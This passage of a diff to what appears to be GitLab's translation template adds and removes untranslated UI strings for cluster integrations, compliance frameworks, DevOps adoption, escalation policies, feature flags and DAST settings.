-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7339,15 +7333,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7396,12 +7381,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7417,9 +7396,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7435,9 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7480,27 +7453,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7528,9 +7486,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7540,18 +7495,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7573,39 +7516,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7639,9 +7552,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7690,12 +7600,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7738,9 +7642,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7750,15 +7651,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7795,24 +7687,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7825,9 +7699,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7876,15 +7747,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7909,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7930,27 +7792,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7960,24 +7807,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8008,9 +7837,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -8032,21 +7858,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8071,27 +7885,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -8107,12 +7906,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8185,6 +7978,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8200,9 +7996,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8501,9 +8303,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8540,9 +8339,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8561,42 +8357,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8615,6 +8378,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8869,6 +8635,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9224,7 +8993,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9263,6 +9032,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9329,6 +9101,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9569,9 +9344,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9698,9 +9470,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9932,6 +9701,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9941,9 +9716,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9959,9 +9731,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -10037,6 +9806,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10258,9 +10030,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10327,6 +10096,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10688,9 +10469,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10715,6 +10493,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10748,7 +10529,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10868,6 +10649,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11553,12 +11337,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11616,7 +11418,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11628,21 +11430,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11676,6 +11481,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11697,6 +11505,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11715,15 +11526,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11911,7 +11719,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11962,7 +11770,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11971,6 +11779,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12187,9 +11998,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12223,9 +12031,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12286,6 +12091,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12415,6 +12223,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12424,13 +12235,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12511,13 +12325,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12535,6 +12346,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12550,9 +12364,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12562,9 +12373,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12694,6 +12502,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12859,9 +12670,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13342,7 +13150,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13351,30 +13159,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13384,6 +13216,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13420,9 +13261,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13568,7 +13406,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13589,9 +13427,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13688,9 +13523,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13709,9 +13541,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13997,9 +13826,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -14031,9 +13857,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -14082,9 +13905,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -14115,9 +13935,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -14133,9 +13950,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14175,24 +13989,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14202,9 +14004,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14290,9 +14089,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14308,6 +14104,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14374,9 +14173,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14545,6 +14341,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14566,10 +14365,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
